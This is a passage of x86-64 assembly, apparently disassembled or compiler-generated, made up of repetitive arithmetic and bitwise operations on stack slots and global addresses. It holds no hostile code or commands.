movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x18c0], ax
lea rax, [rsp + 0xb280]
mov qword [rsp + 0xc200], rax
mov rax, qword [rsp + 0xb210]
mov rcx, qword [rsp + 0x9798]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xb778]
mov dword [rcx], eax
lea rax, [rsp + 0x5260]
mov qword [rsp + 0xc208], rax
mov rax, qword [rsp + 0xad18]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8360]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8ff8], rax
lea rax, [rsp + 0x1e1]
mov qword [rsp + 0xc210], rax
mov rax, qword [rsp + 0x96b8]
movsx eax, byte [rax]
movsx ecx, byte [0x1401cd727]
and eax, ecx
mov byte [0x1401cc093], al
mov rax, qword [rsp + 0x9028]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x19b4]
add eax, ecx
mov rcx, qword [rsp + 0xbd98]
mov word [rcx], ax
mov rax, qword [rsp + 0xae00]
movzx eax, word [rax]
movzx ecx, word [0x1401cc17c]
sub eax, ecx
mov word [rsp + 0x18b4], ax
mov rax, qword [rsp + 0xc060]
movzx eax, byte [rax]
mov byte [rsp + 0x340], al
mov rax, qword [rsp + 0xa608]
mov rcx, qword [rsp + 0xbb58]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x95f8]
mov qword [rcx], rax
lea rax, [rsp + 0x521c]
mov qword [rsp + 0xc218], rax
mov rax, qword [rsp + 0xb510]
mov rax, qword [rax]
mov rcx, qword [0x1401cc020]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xb110], rax
mov eax, dword [rsp + 0x4e68]
movzx ecx, al
mov eax, dword [rsp + 0x5034]
shl eax, cl
mov rcx, qword [rsp + 0xbab8]
mov dword [rcx], eax
lea rax, [rsp + 0x18f8]
mov qword [rsp + 0xc220], rax
mov rax, qword [rsp + 0xbee0]
movzx eax, byte [rax]
mov byte [0x1401cd843], al
mov rax, qword [rsp + 0x92e8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xacb8]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1804], ax
movzx eax, word [rsp + 0x1608]
mov word [rsp + 0x1a70], ax
movsx eax, byte [rsp + 0x22d]
movsx ecx, byte [rsp + 0x26c]
sar eax, cl
mov rcx, qword [rsp + 0x9ac8]
mov byte [rcx], al
mov rax, qword [rsp + 0x9670]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9900]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x25a], al
lea rax, [rsp + 0x4f94]
mov qword [rsp + 0xc228], rax
mov rax, qword [rsp + 0xa990]
mov rcx, qword [rsp + 0xb9d8]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xb810], rax
mov rax, qword [rsp + 0xad60]
mov rax, qword [rax]
mov qword [rsp + 0xc230], rax
mov rax, qword [rsp + 0x9f50]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4f30]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4ef4], eax
mov rax, qword [0x1401cdcb8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1700]
add eax, ecx
mov word [0x1401cc0f8], ax
movzx eax, word [rsp + 0x18a8]
mov word [rsp + 0x1a74], ax
mov rax, qword [rsp + 0xbe78]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9ac8]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xa138]
mov byte [rcx], al
movzx eax, byte [rsp + 0x260]
movzx ecx, byte [rsp + 0x31e]
add eax, ecx
mov byte [rsp + 0x2ad], al
lea rax, [rsp + 0x1960]
mov qword [rsp + 0xc238], rax
mov rax, qword [rsp + 0xb268]
mov rcx, qword [rsp + 0x9f38]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xb430], rax
mov rax, qword [rsp + 0x93a8]
mov eax, dword [rax]
mov dword [rsp + 0x53dc], eax
mov rax, qword [rsp + 0x9f08]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x84c0]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xad10]
mov qword [rcx], rax
mov eax, dword [0x1401cd720]
mov ecx, dword [rsp + 0x5110]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4c9c], eax
mov rax, qword [rsp + 0xb498]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x169c]
add eax, ecx
mov word [0x1401cc1ac], ax
lea rax, [rsp + 0x1918]
mov qword [rsp + 0xc240], rax
movzx eax, word [rsp + 0x1530]
mov rcx, qword [rsp + 0xb968]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xb4c8]
mov word [rcx], ax
lea rax, [rsp + 0x2d0]
mov qword [rsp + 0xc248], rax
movsx eax, byte [rsp + 0x1dc]
mov rcx, qword [rsp + 0x92a8]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x1f0], al
mov rax, qword [0x1401cd728]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9ae8]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xa538], rax
mov rax, qword [rsp + 0xbc50]
mov rax, qword [rax]
mov qword [rsp + 0xc250], rax
mov rax, qword [rsp + 0x97c8]
mov rcx, qword [rsp + 0xb508]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x506c], eax
lea rax, [rsp + 0x4f50]
mov qword [rsp + 0xc258], rax
mov rax, qword [rsp + 0xb500]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xe9]
shl eax, cl
mov rcx, qword [0x1401cd898]
mov byte [rcx], al
mov rax, qword [rsp + 0xad68]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb0f8]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x2f9], al
mov rax, qword [rsp + 0xbe08]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xba20]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1df], al
lea rax, [rsp + 0x197c]
mov qword [rsp + 0xc260], rax
mov rax, qword [rsp + 0x9ec8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1888]
add eax, ecx
mov rcx, qword [rsp + 0xbb00]
mov word [rcx], ax
mov rax, qword [rsp + 0xa628]
mov rax, qword [rax]
mov qword [rsp + 0xc268], rax
mov rax, qword [rsp + 0xa398]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4e78]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x51a4], eax
lea rax, [rsp + 0x5094]
mov qword [rsp + 0xc270], rax
mov rax, qword [rsp + 0xa598]
mov rcx, qword [0x1401cc020]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xb510]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x30a]
movsx ecx, byte [rsp + 0x26e]
sub eax, ecx
mov byte [0x1401cc0aa], al
movzx eax, word [rsp + 0x18ec]
mov rcx, qword [rsp + 0xa518]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1624], ax
movzx eax, word [0x1401cc084]
mov word [rsp + 0x1a78], ax
mov rax, qword [rsp + 0x9160]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa560]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x32d], al
mov rax, qword [rsp + 0xb900]
movsx eax, byte [rax]
mov rcx, qword [0x1401cdc08]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x7a], al
mov rax, qword [rsp + 0x9df0]
mov ecx, dword [rsp + 0x5178]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x4fac], eax
mov rax, qword [rsp + 0xa080]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa6d0]
mov qword [rsp + 0xc278], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc278]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0xb958]
mov qword [rcx], rax
mov rax, qword [rsp + 0xacf8]
mov rax, qword [rax]
mov qword [rsp + 0xc280], rax
mov rax, qword [rsp + 0xbf98]
mov ecx, dword [rsp + 0x4e3c]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x5238], eax
mov rax, qword [rsp + 0x99f8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2b7]
shl eax, cl
mov rcx, qword [0x1401cdb70]
mov byte [rcx], al
lea rax, [rsp + 0x18e4]
mov qword [rsp + 0xc288], rax
movzx eax, byte [rsp + 0x2ff]
movzx ecx, byte [rsp + 0x26b]
sub eax, ecx
mov rcx, qword [rsp + 0x9190]
mov byte [rcx], al
mov rax, qword [rsp + 0xb188]
movsx eax, word [rax]
imul eax, eax, 0x2dbc
mov word [rsp + 0x16a8], ax
mov rax, qword [0x1401cd770]
movzx eax, word [rax]
mov word [rsp + 0x1a7c], ax
mov rax, qword [rsp + 0xb648]
mov ecx, dword [rsp + 0x5354]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x516c], eax
mov rax, qword [rsp + 0xbca0]
mov rax, qword [rax]
mov qword [rsp + 0xc290], rax
mov eax, dword [rsp + 0x51b8]
mov ecx, dword [rsp + 0x526c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x53c4], eax
mov rax, qword [rsp + 0xbfd8]
mov rax, qword [rax]
mov qword [rsp + 0xc298], rax
lea rax, [rsp + 0x18f8]
mov qword [0x1401cdde8], rax
movzx eax, byte [rsp + 0x310]
movzx ecx, byte [0x1401cc06e]
add eax, ecx
mov byte [rsp + 0x2ae], al
movsx eax, byte [rsp + 0x27e]
movsx ecx, byte [rsp + 0x17b]
sub eax, ecx
mov byte [rsp + 0x272], al
movzx eax, word [rsp + 0x1844]
mov word [rsp + 0x1a80], ax
mov rax, qword [rsp + 0x9690]
movzx eax, word [rax]
mov rcx, qword [0x1401cd780]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x19bc], ax
mov rax, qword [rsp + 0x9618]
mov rax, qword [rax]
mov qword [rsp + 0xc2a0], rax
mov rax, qword [rsp + 0xaed8]
mov rcx, qword [rsp + 0xa568]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xbee8], rax
mov rax, qword [rsp + 0xbaa8]
mov ecx, dword [0x1401cd720]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xb010]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9ec0]
mov eax, dword [rax]
mov dword [rsp + 0x53e0], eax
lea rax, [rsp + 0x15dc]
mov qword [0x1401cddf0], rax
movsx eax, byte [rsp + 0x309]
mov rcx, qword [rsp + 0xb408]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x229], al
lea rax, [rsp + 0x1854]
mov qword [rsp + 0xc2a8], rax
mov rax, qword [rsp + 0x8db0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xaa60]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x234], al
movzx eax, byte [rsp + 0x27b]
mov rcx, qword [0x1401cda40]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x221], al
lea rax, [rsp + 0x9aa0]
mov qword [rsp + 0xc2b0], rax
mov rax, qword [rsp + 0xb9f8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x93d0]
shl rax, cl
mov rcx, qword [rsp + 0xaa90]
mov qword [rcx], rax
lea rax, [rsp + 0x51f0]
mov qword [rsp + 0xc2b8], rax
mov rax, qword [rsp + 0xabd0]
mov eax, dword [rax]
mov ecx, dword [0x1401cc01c]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9e98]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb930]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9190]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xbee0]
mov byte [rcx], al
mov rax, qword [rsp + 0x9a90]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xb4f8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x1401cc100], ax
movzx eax, byte [rsp + 0x1dc]
mov byte [rsp + 0x341], al
mov rax, qword [rsp + 0xab68]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x184c]
add eax, ecx
mov word [rsp + 0x1500], ax
mov rax, qword [rsp + 0x99a8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc058]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xf1c], ax
mov rax, qword [rsp + 0xa4e8]
mov rcx, qword [rsp + 0xc218]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x5144], eax
mov eax, dword [rsp + 0x4828]
mov dword [rsp + 0x53e4], eax
mov rax, qword [rsp + 0xa378]
mov rcx, qword [rsp + 0x8f10]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xb750]
mov qword [rcx], rax
mov rax, qword [rsp + 0xb220]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9ba0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xc0a8]
mov qword [rcx], rax
lea rax, [rsp + 0xf5]
mov qword [rsp + 0xc2c0], rax
movsx eax, byte [rsp + 0xe1]
mov rcx, qword [rsp + 0xb4b8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1401cd78a], al
movzx eax, byte [rsp + 0x265]
movzx ecx, byte [rsp + 0x214]
add eax, ecx
mov byte [rsp + 0x26f], al
movzx eax, word [rsp + 0xee8]
mov word [rsp + 0x1a84], ax
movsx eax, byte [rsp + 0x306]
mov rcx, qword [rsp + 0xa018]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x2f2], al
mov rax, qword [rsp + 0xb618]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x97b8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xaa90]
mov qword [rcx], rax
mov eax, dword [rsp + 0x50c4]
mov dword [rsp + 0x53e8], eax
mov rax, qword [0x1401cd728]
mov rcx, qword [rsp + 0xa2c8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9e58], rax
lea rax, [rsp + 0x53e4]
mov qword [rsp + 0xc2c8], rax
movzx eax, word [rsp + 0x1a2c]
movzx ecx, word [0x1401cc06c]
xor eax, ecx
mov word [rsp + 0x1684], ax
lea rax, [rsp + 0x28b]
mov qword [0x1401cddf8], rax
mov rax, qword [rsp + 0xc070]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x18c0]
shl eax, cl
mov word [rsp + 0x19c8], ax
mov rax, qword [rsp + 0x90e0]
movzx eax, byte [rax]
mov byte [rsp + 0x342], al
movzx eax, word [rsp + 0x1880]
movzx ecx, word [rsp + 0x17b8]
or eax, ecx
mov word [rsp + 0x15f0], ax
lea rax, [rsp + 0xb560]
mov qword [rsp + 0xc2d0], rax
mov rax, qword [rsp + 0xa660]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x51a4]
shr eax, cl
mov rcx, qword [rsp + 0xc0e8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa180]
mov rcx, qword [rsp + 0x9268]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xabd0]
mov dword [rcx], eax
lea rax, [rsp + 0xaf78]
mov qword [rsp + 0xc2d8], rax
mov rax, qword [rsp + 0xba38]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x10f8]
imul eax, ecx
mov word [rsp + 0x1a78], ax
mov rax, qword [rsp + 0x8fb8]
movzx eax, byte [rax]
mov byte [0x1401cd844], al
lea rax, [rsp + 0x192c]
mov qword [rsp + 0xc2e0], rax
movsx eax, byte [rsp + 0x270]
mov rcx, qword [rsp + 0xbdd0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x22f], al
mov rax, qword [rsp + 0xa7e8]
movzx eax, word [rax]
mov word [rsp + 0x1a88], ax
mov rax, qword [rsp + 0xaca0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x199c]
add eax, ecx
mov rcx, qword [rsp + 0x9690]
mov word [rcx], ax
mov rax, qword [rsp + 0xb590]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb100]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9520]
mov qword [rcx], rax
mov rax, qword [0x1401cc020]
mov qword [rsp + 0xc2e8], rax
mov rax, qword [rsp + 0x9280]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x508c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9e98]
mov dword [rcx], eax
lea rax, [rsp + 0x53a8]
mov qword [rsp + 0xc2f0], rax
movsx eax, word [rsp + 0x12e8]
mov rcx, qword [rsp + 0x9b08]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x1401cdb18]
mov word [rcx], ax
movsx eax, byte [rsp + 0x30f]
mov rcx, qword [rsp + 0xc0d0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x107], al
movzx eax, byte [rsp + 0x1f8]
mov rcx, qword [rsp + 0xb8b8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x25f], al
mov rax, qword [rsp + 0x9248]
movzx eax, word [rax]
mov word [rsp + 0x1a8c], ax
movzx eax, byte [rsp + 0x2fc]
movzx ecx, byte [rsp + 0x2f8]
add eax, ecx
mov rcx, qword [rsp + 0xb120]
mov byte [rcx], al
mov rax, qword [rsp + 0x9dc0]
mov rax, qword [rax]
mov qword [rsp + 0xc2f8], rax
mov eax, dword [rsp + 0x4ef4]
movzx ecx, al
mov eax, dword [rsp + 0x50ac]
shl eax, cl
mov dword [rsp + 0x5318], eax
mov rax, qword [rsp + 0xb7f8]
mov rcx, qword [rsp + 0x82e8]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xad48], rax
lea rax, [rsp + 0x53d8]
mov qword [rsp + 0xc300], rax
movzx eax, word [0x1401cc18c]
mov rcx, qword [rsp + 0xa3b8]
movzx ecx, word [rcx]
sar eax, cl
mov word [0x1401cc1a4], ax
movsx eax, byte [rsp + 0x295]
mov rcx, qword [rsp + 0xade8]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x250], al
mov rax, qword [rsp + 0xa578]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9620]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x65], al
mov rax, qword [rsp + 0xa268]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1534]
add eax, ecx
mov rcx, qword [rsp + 0x9340]
mov word [rcx], ax
lea rax, [rsp + 0x26b]
mov qword [rsp + 0xc308], rax
mov rax, qword [rsp + 0x9b60]
mov rcx, qword [rsp + 0x8ab8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8458], rax
mov rax, qword [rsp + 0x9280]
mov ecx, dword [rsp + 0x526c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xa320]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa588]
mov qword [rsp + 0xc310], rax
mov eax, dword [rsp + 0x50c8]
mov ecx, dword [rsp + 0x4f98]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5120], eax
movzx eax, word [rsp + 0x1850]
mov rcx, qword [rsp + 0xb450]
movzx ecx, word [rcx]
and eax, ecx
mov word [0x1401cc1b0], ax
mov rax, qword [rsp + 0xb900]
movzx eax, byte [rax]
mov byte [rsp + 0x343], al
mov rax, qword [0x1401cdb48]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1828]
sub eax, ecx
mov rcx, qword [rsp + 0xaa08]
mov word [rcx], ax
mov rax, qword [rsp + 0x95a0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9950]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xebc], ax
lea rax, [rsp + 0x227]
mov qword [rsp + 0xc318], rax
mov rax, qword [rsp + 0xa188]
mov rcx, qword [rsp + 0xa278]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xbe00]
mov dword [rcx], eax
lea rax, [rsp + 0xaa88]
mov qword [rsp + 0xc320], rax
mov rax, qword [rsp + 0xb958]
mov rcx, qword [rsp + 0xb1d8]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x8f10]
mov qword [rcx], rax
mov eax, dword [rsp + 0x5218]
movzx ecx, al
mov eax, dword [rsp + 0x4fd4]
shl eax, cl
mov rcx, qword [rsp + 0xbd20]
mov dword [rcx], eax
movzx eax, word [rsp + 0x18e8]
mov rcx, qword [rsp + 0xad38]
movzx ecx, word [rcx]
or eax, ecx
mov word [0x1401cc1b4], ax
lea rax, [rsp + 0x14e8]
mov qword [rsp + 0xc328], rax
mov rax, qword [0x1401cdb50]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8db0]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xbd38]
mov byte [rcx], al
lea rax, [rsp + 0x288]
mov qword [rsp + 0xc330], rax
mov rax, qword [rsp + 0x90b8]
movzx eax, word [rax]
movzx ecx, word [0x1401cd8d0]
sar eax, cl
mov rcx, qword [rsp + 0xafa8]
mov word [rcx], ax
mov rax, qword [rsp + 0x9068]
mov rcx, qword [rsp + 0xa548]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8bd8]
mov qword [rcx], rax
lea rax, [rsp + 0x5024]
mov qword [rsp + 0xc338], rax
mov rax, qword [rsp + 0x9268]
mov rcx, qword [rsp + 0xb898]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xa500]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa608]
mov rax, qword [rax]
mov qword [rsp + 0xc340], rax
movzx eax, byte [rsp + 0x2d5]
movzx ecx, byte [rsp + 0x2bc]
sub eax, ecx
mov byte [0x1401cc008], al
movsx eax, byte [rsp + 0x30a]
mov rcx, qword [0x1401cdc38]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x226], al
mov rax, qword [rsp + 0x9b58]
movzx eax, word [rax]
mov word [rsp + 0x1a90], ax
mov rax, qword [rsp + 0xb6c8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x33c]
add eax, ecx
mov byte [rsp + 0x225], al
movsx eax, word [rsp + 0x167c]
mov rcx, qword [rsp + 0xafd0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x15ec], ax
lea rax, [rsp + 0x5290]
mov qword [rsp + 0xc348], rax
mov rax, qword [rsp + 0xa858]
mov rcx, qword [rsp + 0x90d8]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x9ad0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xbf08]
mov rax, qword [rax]
mov qword [rsp + 0xc350], rax
mov rax, qword [rsp + 0xbf98]
mov ecx, dword [rsp + 0x5394]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x98d8]
mov dword [rcx], eax
lea rax, [rsp + 0x1a74]
mov qword [0x1401cde00], rax
movzx eax, byte [rsp + 0x7e]
mov rcx, qword [rsp + 0x92a0]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xa828]
mov byte [rcx], al
mov rax, qword [rsp + 0xbb88]
movzx eax, byte [rax]
mov byte [rsp + 0x344], al
movsx eax, word [rsp + 0x1918]
movsx ecx, word [rsp + 0x1874]
add eax, ecx
mov rcx, qword [rsp + 0xa0e8]
mov word [rcx], ax
movzx eax, word [rsp + 0x1a34]
mov word [rsp + 0x1a94], ax
mov rax, qword [rsp + 0xa620]
mov ecx, dword [rsp + 0x4e84]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x4cf0], eax
mov rax, qword [rsp + 0x8848]
mov rcx, qword [rsp + 0xb510]
mov qword [rsp + 0xc358], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc358]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0xb7a8], rax
mov rax, qword [rsp + 0xc128]
mov qword [rsp + 0xc360], rax
mov eax, dword [rsp + 0x503c]
movzx ecx, al
mov eax, dword [rsp + 0x53dc]
shl eax, cl
mov dword [rsp + 0x4fc0], eax
mov rax, qword [rsp + 0xa2f0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xbeb8]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [0x1401cdc08]
mov byte [rcx], al
movsx eax, word [rsp + 0x1924]
mov rcx, qword [rsp + 0xbce8]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1028], ax
mov rax, qword [rsp + 0xa0a0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xb988]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1a3], al
movzx eax, byte [rsp + 0x22c]
mov byte [rsp + 0x345], al
mov rax, qword [0x1401cd9c0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1624]
add eax, ecx
mov rcx, qword [rsp + 0xb4c8]
mov word [rcx], ax
mov rax, qword [rsp + 0xb1a8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x51a8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x53cc], eax
mov rax, qword [rsp + 0xb110]
mov qword [rsp + 0xc368], rax
mov rax, qword [rsp + 0xa580]
mov rcx, qword [rsp + 0xb2a8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x96f0]
mov dword [rcx], eax
lea rax, [rsp + 0x9560]
mov qword [rsp + 0xc370], rax
mov rax, qword [rsp + 0x9380]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1980]
sub eax, ecx
mov rcx, qword [rsp + 0xb488]
mov word [rcx], ax
mov rax, qword [0x1401cdae0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa0e0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1401cc042], al
movsx eax, byte [rsp + 0x209]
movsx ecx, byte [rsp + 0x300]
and eax, ecx
mov byte [rsp + 0x217], al
movzx eax, word [rsp + 0x14d4]
mov word [rsp + 0x1a98], ax
movsx eax, byte [0x1401cc062]
mov rcx, qword [rsp + 0xb2c8]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xb260]
mov byte [rcx], al
lea rax, [rsp + 0xa000]
mov qword [rsp + 0xc378], rax
mov eax, dword [rsp + 0x53d4]
mov rcx, qword [rsp + 0xa1a8]
mov qword [rsp + 0xc380], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc380]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x4c88], eax
mov rax, qword [rsp + 0xb2b0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xa6a0]
sar rax, cl
mov qword [rsp + 0x9418], rax
lea rax, [rsp + 0x5300]
mov qword [rsp + 0xc388], rax
mov rax, qword [rsp + 0x99f8]
movzx eax, byte [rax]
mov rcx, qword [0x1401cd858]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xaad0]
mov byte [rcx], al
mov rax, qword [rsp + 0xb250]
movzx eax, word [rax]
mov word [0x1401cde08], ax
lea rax, [rsp + 0x274]
mov qword [rsp + 0xc390], rax
movzx eax, word [rsp + 0x1538]
movzx ecx, word [rsp + 0x1864]
or eax, ecx
mov rcx, qword [rsp + 0xc018]
mov word [rcx], ax
movsx eax, word [0x1401cd834]
mov rcx, qword [rsp + 0x9250]
movsx ecx, word [rcx]
cdq
idiv ecx
mov word [rsp + 0x10f8], ax
lea rax, [rsp + 0x9500]
mov qword [rsp + 0xc398], rax
mov rax, qword [rsp + 0xa228]
mov rcx, qword [rsp + 0xc1d0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9428], rax
mov rax, qword [rsp + 0x9400]
mov eax, dword [rax]
mov dword [rsp + 0x53ec], eax
mov eax, dword [rsp + 0x51a8]
mov ecx, dword [rsp + 0x5090]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x53dc], eax
lea rax, [rsp + 0x20b]
mov qword [rsp + 0xc3a0], rax
movzx eax, word [0x1401cc0b8]
mov rcx, qword [rsp + 0xb350]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x1401cda58]
mov word [rcx], ax
mov rax, qword [rsp + 0x9c10]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x16cc]
add eax, ecx
mov rcx, qword [rsp + 0xc158]
mov word [rcx], ax
mov rax, qword [rsp + 0xb3f0]
movzx eax, byte [rax]
mov rcx, qword [0x1401cdc28]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x30d], al
lea rax, [rsp + 0x17b]
mov qword [rsp + 0xc3a8], rax
mov rax, qword [rsp + 0xb7c0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x50cc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x51a4], eax
mov rax, qword [rsp + 0x8bd8]
mov rax, qword [rax]
mov qword [rsp + 0xc3b0], rax
mov rax, qword [rsp + 0xb7d8]
mov rcx, qword [rsp + 0x87f8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9b50], rax
mov rax, qword [rsp + 0x8c58]
mov ecx, dword [rsp + 0x4fac]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4ffc], eax
movzx eax, byte [rsp + 0x279]
mov byte [rsp + 0x346], al
movsx eax, byte [rsp + 0x275]
